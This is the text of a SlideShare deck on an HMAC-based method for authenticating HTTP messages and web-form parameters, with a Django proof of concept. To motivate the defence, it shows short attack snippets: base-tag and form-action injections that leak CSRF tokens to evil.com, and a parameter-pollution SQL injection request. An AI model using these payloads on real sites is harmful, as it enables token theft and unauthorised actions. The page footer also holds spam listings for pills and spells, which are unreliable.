SlideShare a Scribd company logo
1 of 32
Download to read offline
General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications 
Denis Kolegov 
Tomsk State University 
Information Security and Cryptography Department 
SEPTEMBER 8 - 13 
EKATERINBURG 
2014
Introduction 
•HTTP doesn’t have built in message authentication mechanisms 
•HTTP messages authentication for web forms 
–Origin authenticity 
–Parameter names and values integrity 
–Workflow integrity 
•OWASP Top 10 2013 
–A4 Insecure Direct Object Reference 
–A7 Missing Function Level Access Control 
–A8 Cross-Site Request Forgery (CSRF) 
•Advanced Features 
–Attack surface reduction 
–Protection against automated attacks 
2
Example 1 – CSRF Attack 
3 
•Protection methods 
–Synchronizer token pattern 
–Double submit cookies 
–Encrypted token pattern 
–Header-based (Referer, X-Requested-With, custom headers) 
–Origin header 
•Attacks 
–Token leakage 
–Token prediction 
–Token retrieving (e.g., BREACH attack) 
–Cookie injection
Example 2 – CSRF Token Leakage 
•<BASE> jumping attack 
<base href="http://evil.com/"> ← Injection point 
<form action="create_folder"> 
<input type="hidden" name="csrf_token" value="21312">… 
</form> 
•Malicious request 
http://evil.com/create_folder?csrf_token=21312 
•Stolen CSRF token can be used by an attacker in different context 
http://example.com/admin/delete_account?csrf_token=21312 
4
Example 3 – CSRF Token Leakage 
•POST request based on location.hash value is used to download content from example.com/#/mypage 
example.com/#/evil.com ← Injection point 
•Malicious request 
POST http://evil.com/get_content 
Host: evil.com 
rn 
csrf_token=21312 
•Stolen CSRF token can be used by an attacker in different context 
http://example.com/admin/delete_account.php?csrf_token=21312 
5
Example 4 – CSRF Token Leakage 
•Content from http://example.com includes the following form 
<form action="$_SERVER['REFERER_URI']"> ← Injection point 
<input type="hidden" name="csrf_token" value="21312">… 
</form> 
•http://site.com//evil.com/../search corresponds to the following form 
<form action="//evil.com/../search"> 
<input type="hidden" name="csrf_token" value="21312">… 
</form> 
•Malicious request 
http://evil.com/../search?csrf_token=21312 
•Stolen CSRF token can be used by an attacker in different context 
http://example.com/admin/delete_account.php?csrf_token=21312 
6
Example 5 – Parameter Pollution 
•Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways 
/index.aspx?page=select 1,2,3 from table ← SQL-injection is detected 
/index.aspx?page=select 1&page=2,3 from table 
•Different web technologies manage multiple occurrences of the same parameter in different ways 
7
Example 6 – BREACH attack against CSRF Token 
•Attackers could figure out CSRF token even when the communication was encrypted 
•CSRF Tokens must be unique per request if HTTP Response compression is used 
•Facebook tokens 
–CSRF_Token = SHA2(accound_id, current_date, random_salt) 
•Links 
–https://blog.whitehatsec.com/raising-the-csrf-bar/ 
–https://www.facebook.com/notes/protect-the-graph/preventing-a-breach- attack/1455331811373632 
8
Example 7 - Insecure Direct Object Reference 
9
Example 8 - Insecure Direct Object Reference 
10
Causes and Consequences 
11 
Vulnerability 
Attack 
Weakness 
Threat 
Insecurity 
Risk 
Unsafety
Known Approaches 
•CSRF-tokens 
–Encryption-based 
–HMAC-based 
•Authenticated HTTP requests 
–RFC 6749 «The OAuth 1.0 Protocol» 
•«Signed requests» API (Yahoo, Amazon, Facebook, Twitter) 
•WAF 
–ModSecurity: HMAC Token Protection 
–F5 Networks ASM: Dynamic Content Value 
•Frameworks 
–ASP.NET Event Validation, View State MAC 
12
Limitations of Known Approaches 
•As a rule, web applications are protected from attacks against authenticity origin (e.g., CSRF attack) 
•HTTP messages authentication mechanisms are implemented in special protocols, API or WAFs 
•Client-side generated data and input fields are out of scope 
•Protocols should consider HTTP protocol features and influence of session management and load balancing mechanisms 
•Workflow protection is not implemented in known frameworks 
13
Authenticator Base String 
•Authenticator base string (ABS) is a normalized string, calculated from object’s and subject’s attributes according to security policy 
•The ABS includes the following elements of the HTTP request 
–Parameter names and values 
–User’s identifiers (session cookie mandatory should be there) 
–Resource’s identifier (URI) 
–HTTP request method 
–HTTP custom headers 
•Encoding and delimiters 
–BASE64, HEX 
–Special characters (# & ; =) 
14
Web Form Parameters 
•Controlled by name 
–An attacker can’t change parameter names that were set by server in HTTP response 
•Controlled by value 
–An attacker can’t change parameter values that were set by server in HTTP response 
•Validated 
–Client-side generated data 
–User’s input fields 
15
Base Validation Protocol 
•We want to validate user’s input using HMAC and authenticator string 
•Protocol parameters 
–A – alphabet of permitted input characters (e.g., 0,1,…,9) 
–U – union operation 
–w – user’s input 
–S(w) – set of word w characters 
–L(A) – string of ordered elements of set A 
–k – secret key 
•Protocol actions 
–Client ← Server: response, containing web form with input field and hidden field with mac = HMAC(k, L(A)) value 
–Client → Server: request with mac and w parameters 
–Server: if HMAC(k, L(A U S(w)) = mac then request is permitted 
16
•ABS is constructed by concatenating the following HTTP request elements according to security policy 
auth = 
ordered list of parameter names + ";" + 
ordered list of pairs (parameter name = value or #) + ";" + 
user’s identifier + ";" + 
resource’s identifier + ";" + 
HTTP method 
String Construction 
17
1.Create L = {p1, …, pm} ordered list of parameter name-value pairs of object request 
2. If parameters are controlled by name then 
auth = name(p1)+ "&" + … + "&" + name(pm) + ";" 
3. For each p from L 
if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“ 
if p is validated then auth = auth + name(p) + "=#&" 
4. Add identification data of user and resource, and the HTTP method 
auth = auth + "; " + IDs + ";" + IDr + ";" + op 
Construction Method 
18
Sessionless Protocol 
•Parameters 
–k – server’s master key 
–kr – server’s one-time random key 
–IDr – resource's identifier 
–IDs – user’s identifier 
–LP – security policy expressed in a specific language 
–time – timestamp 
–E – encryption function, h – hash function 
•All servers share the same master key and there are no data in session 
•Protocol actions 
–Client → Server: initial request from user (IDs) to resource (IDr) 
–Client ← Server: response , containing access attributes mac = h(kr, auth, time) and Ek(LP , time, kr) 
–Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr) 
19
Sessionful Protocol 
•Parameters 
–k – server’s key 
–IDr – resource's identifier 
–IDs – user’s identifier 
–LP – security policy expressed in a specific language 
–time – timestamp 
–E – encryption function, h – hash function 
•Session data 
–k, time and LP are stored in user’s session 
•Protocol actions 
–Client → Server: initial request from user (IDs) to resource (IDr) 
–Client ← Server: response, containing access attributes mac = h(k, auth, time) 
–Client → Server: final request with IDs’, IDr’, mac’ 
20
ABAC 
21
•ABAC can be configured to implement DAC, MAC, or RBAC (Jin, Krishnan, Sandhu, 2012) 
•Attribute is a property expressed as a name:value pair associated with any entity in the system 
•The proposed method of HTTP messages authentication can be expressed in terms of ABAC model 
•All this creates the prerequisites for unified access control mechanism in web applications 
ABAC properties 
22
•Elements of model 
–Operations – the HTTP methods (GET, POST, PUT, etc) 
–Objects – URIs 
–Object attributes – permitted parameters for access to object 
–Subject – HTTP request to objects 
–Subject attributes – HTTP request parameters and headers 
•Access rule 
–Subject can access object if and only if authenticator calculated from object’s attributes is equal to authenticator calculated from subject’s attributes 
Formal Description in ABAC 
23
The Control of Workflow Integrity 
24 
•We are currently researching if it possible to develop workflow protection mechanisms in the context of proposed method 
•Proposed HTTP messages authentication method makes some attacks against workflow impossible 
•Another enhancement of the method is adding a current state and sequence of permitted sates in the policy stored on a client-side in the encrypted form
Proof of Concept 
•Django Framework 
•Web forms strict security 
•Project 
–https://github.com/tsu-iscd/django-HTTPauth 
•Modes 
–Sessionless 
–Sessionful 
25
Features 
•Strict protection against CSRF attack 
•CSRF-tokens protection 
–time to live – protection against replay attacks 
–randomization – protection against BREACH-like attacks 
–context – protection against leakage 
•Integrity control of parameter names and values 
•Parameter values validation in a given alphabet 
•Support configuration without persistent and sharing sessions 
26
Policy Description 
auth_policy = { 
“object”: URI regular expression, 
“subject”: session identifier name, 
“name_protection”: True | False, 
“replay_protection”: { 
“enable”: True | False, 
“interval”: value}, 
“parameter_protection”: { 
parameter_name: { 
“action”: “control” | “validate” 
“value”: regular expression }, …, } 
} 
27
Policy Example 
class ClientForm(forms.Form): 
product = forms.CharField(initial='Test') 
price = forms.IntegerField() 
policy = {'object':'http://127.0.0.1:8000/add/', 
'name_protection' : False, 
'replay_protection': { 
'enable':True, 
'interval':'30' }, 
'parameter_protection': { 
‘product': { 
'action':'validate', 
'value':'[A-Za-z]+'}, 
'price': { 
'action':'control'}}} 
28
Application Example 
29
Conclusion 
•HTTP messages authentication ABAC model is developed 
•General HTTP authentication method allowing to control and to validate client-side generated data is proposed 
•Authentication protocol adapted to employment in web applications is designed 
–Proposed approach can be employ in configurations without sharing or persistent sessions support 
–Protocol data can be stored on server-side and client-side 
•PoC have been implemented in Django framework 
30
Bibliography 
•Vladimir Kochetkov. How to Develop a Secure Web Application and Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how- to-develop-a-secure-web-application-and-stay-in-mind-phdays-3 
•Jim Monico, Eoin Keary. Form Processing and Workflows. URL: http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms%20and%20Workflows%20v3.pdf 
•Sergey Bobrov. Web Application Attacks via Request-URI. URL: http://xakep.ru/issue/xa-171/ 
•TrustWave’s SpiderLabs. HMAC Token Protection. URL: http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of- the-week-hmac-token-protection.html 
31
32 
Denis Kolegov 
E-mail: dnkolegov@gmail.com 
Twitter: @dnkolegov

More Related Content

What's hot

A Novel methodology for handling Document Level Security in Search Based Appl...
A Novel methodology for handling Document Level Security in Search Based Appl...A Novel methodology for handling Document Level Security in Search Based Appl...
A Novel methodology for handling Document Level Security in Search Based Appl...lucenerevolution
 
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]Jose Selvi - Side-Channels Uncovered [rootedvlc2018]
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]RootedCON
 
Big problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securityBig problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securitySecuRing
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksNetSPI
 
CNIT 124: Ch 9: Password Attacks
CNIT 124: Ch 9: Password AttacksCNIT 124: Ch 9: Password Attacks
CNIT 124: Ch 9: Password AttacksSam Bowne
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X WayStephan Borosh
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysJoff Thyer
 
Web security for developers
Web security for developersWeb security for developers
Web security for developersSunny Neo
 
CNIT 124: Ch 7: Capturing Traffic
CNIT 124: Ch 7: Capturing TrafficCNIT 124: Ch 7: Capturing Traffic
CNIT 124: Ch 7: Capturing TrafficSam Bowne
 
CNIT 121: 14 Investigating Applications
CNIT 121: 14 Investigating ApplicationsCNIT 121: 14 Investigating Applications
CNIT 121: 14 Investigating ApplicationsSam Bowne
 
Carlos García - Pentesting Active Directory Forests [rooted2019]
Carlos García - Pentesting Active Directory Forests [rooted2019]Carlos García - Pentesting Active Directory Forests [rooted2019]
Carlos García - Pentesting Active Directory Forests [rooted2019]RootedCON
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPRafal Gancarz
 
BSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersBSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersAndrew McNicol
 

What's hot (20)

A Novel methodology for handling Document Level Security in Search Based Appl...
A Novel methodology for handling Document Level Security in Search Based Appl...A Novel methodology for handling Document Level Security in Search Based Appl...
A Novel methodology for handling Document Level Security in Search Based Appl...
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Crawl
CrawlCrawl
Crawl
 
Meeting 4 : proxy
Meeting 4 : proxyMeeting 4 : proxy
Meeting 4 : proxy
 
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]Jose Selvi - Side-Channels Uncovered [rootedvlc2018]
Jose Selvi - Side-Channels Uncovered [rootedvlc2018]
 
Big problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces securityBig problems with big data – Hadoop interfaces security
Big problems with big data – Hadoop interfaces security
 
Introduction to Windows Dictionary Attacks
Introduction to Windows Dictionary AttacksIntroduction to Windows Dictionary Attacks
Introduction to Windows Dictionary Attacks
 
CNIT 124: Ch 9: Password Attacks
CNIT 124: Ch 9: Password AttacksCNIT 124: Ch 9: Password Attacks
CNIT 124: Ch 9: Password Attacks
 
Injection flaw teaser
Injection flaw teaserInjection flaw teaser
Injection flaw teaser
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
BSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad GuysBSIDES-PR Keynote Hunting for Bad Guys
BSIDES-PR Keynote Hunting for Bad Guys
 
Web security for developers
Web security for developersWeb security for developers
Web security for developers
 
Death of WAF - GoSec '15
Death of WAF - GoSec '15Death of WAF - GoSec '15
Death of WAF - GoSec '15
 
Death of Web App Firewall
Death of Web App FirewallDeath of Web App Firewall
Death of Web App Firewall
 
CNIT 124: Ch 7: Capturing Traffic
CNIT 124: Ch 7: Capturing TrafficCNIT 124: Ch 7: Capturing Traffic
CNIT 124: Ch 7: Capturing Traffic
 
CNIT 121: 14 Investigating Applications
CNIT 121: 14 Investigating ApplicationsCNIT 121: 14 Investigating Applications
CNIT 121: 14 Investigating Applications
 
Carlos García - Pentesting Active Directory Forests [rooted2019]
Carlos García - Pentesting Active Directory Forests [rooted2019]Carlos García - Pentesting Active Directory Forests [rooted2019]
Carlos García - Pentesting Active Directory Forests [rooted2019]
 
Securing Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTPSecuring Microservices using Play and Akka HTTP
Securing Microservices using Play and Akka HTTP
 
Addios!
Addios!Addios!
Addios!
 
BSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathersBSides_Charm2015_Info sec hunters_gathers
BSides_Charm2015_Info sec hunters_gathers
 

Viewers also liked

9 Ways to Hack a Web App
9 Ways to Hack a Web App9 Ways to Hack a Web App
9 Ways to Hack a Web Appelliando dias
 
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...Positive Hack Days
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Rest API Security
Rest API SecurityRest API Security
Rest API SecurityStormpath
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocolAviran Mordo
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongDerek Perkins
 
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...CA API Management
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Stormpath
 

Viewers also liked (12)

9 Ways to Hack a Web App
9 Ways to Hack a Web App9 Ways to Hack a Web App
9 Ways to Hack a Web App
 
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Rest API Security
Rest API SecurityRest API Security
Rest API Security
 
Http Vs Https .
Http Vs Https . Http Vs Https .
Http Vs Https .
 
HTTP Basics
HTTP BasicsHTTP Basics
HTTP Basics
 
Introduction to HTTP protocol
Introduction to HTTP protocolIntroduction to HTTP protocol
Introduction to HTTP protocol
 
Authentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrongAuthentication: Cookies vs JWTs and why you’re doing it wrong
Authentication: Cookies vs JWTs and why you’re doing it wrong
 
RESTful API Design, Second Edition
RESTful API Design, Second EditionRESTful API Design, Second Edition
RESTful API Design, Second Edition
 
Ip Sec
Ip SecIp Sec
Ip Sec
 
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
Best Practices You Must Apply to Secure Your APIs - Scott Morrison, SVP & Dis...
 
Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)Secure Your REST API (The Right Way)
Secure Your REST API (The Right Way)
 

Similar to General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications

Pentesting web applications
Pentesting web applicationsPentesting web applications
Pentesting web applicationsSatish b
 
Evolution of the REST API
Evolution of the REST APIEvolution of the REST API
Evolution of the REST APIJeremyOtt5
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceCA API Management
 
The path of secure software by Katy Anton
The path of secure software by Katy AntonThe path of secure software by Katy Anton
The path of secure software by Katy AntonDevSecCon
 
Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Dr. P. Mohana Priya
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation SecurityAman Singh
 
Swift distributed tracing method and tools v2
Swift distributed tracing method and tools v2Swift distributed tracing method and tools v2
Swift distributed tracing method and tools v2zhang hua
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecuritySanjeev Verma, PhD
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebertgeeksec80
 
REST API Security: OAuth 2.0, JWTs, and More!
REST API Security: OAuth 2.0, JWTs, and More!REST API Security: OAuth 2.0, JWTs, and More!
REST API Security: OAuth 2.0, JWTs, and More!Stormpath
 
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Wakanda and the top 5 security risks - JS.everyrwhere(2012) EuropeWakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Wakanda and the top 5 security risks - JS.everyrwhere(2012) EuropeAlexandre Morgaut
 
Resting on your laurels will get you powned
Resting on your laurels will get you pownedResting on your laurels will get you powned
Resting on your laurels will get you pownedDinis Cruz
 
Maximizer 2018 API training
Maximizer 2018 API trainingMaximizer 2018 API training
Maximizer 2018 API trainingMurylo Batista
 
API Testing. Streamline your testing process.
API Testing. Streamline your testing process.API Testing. Streamline your testing process.
API Testing. Streamline your testing process.Andrey Oleynik
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 

Similar to General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications (20)

HTML5 hacking
HTML5 hackingHTML5 hacking
HTML5 hacking
 
Pentesting web applications
Pentesting web applicationsPentesting web applications
Pentesting web applications
 
Evolution of the REST API
Evolution of the REST APIEvolution of the REST API
Evolution of the REST API
 
Using & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack SurfaceUsing & Abusing APIs: An Examination of the API Attack Surface
Using & Abusing APIs: An Examination of the API Attack Surface
 
The path of secure software by Katy Anton
The path of secure software by Katy AntonThe path of secure software by Katy Anton
The path of secure software by Katy Anton
 
Introduction to Web Application Security Principles
Introduction to Web Application Security Principles Introduction to Web Application Security Principles
Introduction to Web Application Security Principles
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
REST APIs
REST APIsREST APIs
REST APIs
 
Swift distributed tracing method and tools v2
Swift distributed tracing method and tools v2Swift distributed tracing method and tools v2
Swift distributed tracing method and tools v2
 
Evolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser SecurityEvolution Of The Web Platform & Browser Security
Evolution Of The Web Platform & Browser Security
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
 
REST API Security: OAuth 2.0, JWTs, and More!
REST API Security: OAuth 2.0, JWTs, and More!REST API Security: OAuth 2.0, JWTs, and More!
REST API Security: OAuth 2.0, JWTs, and More!
 
Basics of the Web Platform
Basics of the Web PlatformBasics of the Web Platform
Basics of the Web Platform
 
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Wakanda and the top 5 security risks - JS.everyrwhere(2012) EuropeWakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
Wakanda and the top 5 security risks - JS.everyrwhere(2012) Europe
 
Resting on your laurels will get you powned
Resting on your laurels will get you pownedResting on your laurels will get you powned
Resting on your laurels will get you powned
 
Maximizer 2018 API training
Maximizer 2018 API trainingMaximizer 2018 API training
Maximizer 2018 API training
 
API Testing. Streamline your testing process.
API Testing. Streamline your testing process.API Testing. Streamline your testing process.
API Testing. Streamline your testing process.
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Attques web
Attques webAttques web
Attques web
 

More from Denis Kolegov

Database Firewall from Scratch
Database Firewall from ScratchDatabase Firewall from Scratch
Database Firewall from ScratchDenis Kolegov
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsDenis Kolegov
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...Denis Kolegov
 
Covert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersCovert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersDenis Kolegov
 
Covert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersCovert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersDenis Kolegov
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Denis Kolegov
 
Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Denis Kolegov
 
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Denis Kolegov
 
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Denis Kolegov
 
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)Denis Kolegov
 
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Denis Kolegov
 

More from Denis Kolegov (14)

Database Firewall from Scratch
Database Firewall from ScratchDatabase Firewall from Scratch
Database Firewall from Scratch
 
F5 BIG-IP Misconfigurations
F5 BIG-IP MisconfigurationsF5 BIG-IP Misconfigurations
F5 BIG-IP Misconfigurations
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложений
 
ZN27112015
ZN27112015ZN27112015
ZN27112015
 
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...
Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 1...
 
Covert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersCovert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache Headers
 
Covert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache HeadersCovert Timing Channels using HTTP Cache Headers
Covert Timing Channels using HTTP Cache Headers
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
 
Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...Моделирование безопасности управления доступом и информационными потоками на ...
Моделирование безопасности управления доступом и информационными потоками на ...
 
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...Development and Implementation of Mandatory Access Control Policy for RDBMS M...
Development and Implementation of Mandatory Access Control Policy for RDBMS M...
 
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
 
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
 
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
 

Recently uploaded

WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...
WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...
WSO2CON 2024 - WSO2's Digital Transformation Journey with Choreo: A Platforml...WSO2
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisamasabamasaba
 
%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benoni%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benonimasabamasaba
 
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital Transformation
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital TransformationWSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital Transformation
WSO2Con2024 - WSO2's IAM Vision: Identity-Led Digital TransformationWSO2
 
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...Shane Coughlan
 
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...WSO2
 
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...
%+27788225528 love spells in Toronto Psychic Readings, Attraction spells,Brin...masabamasaba
 
VTU technical seminar 8Th Sem on Scikit-learn
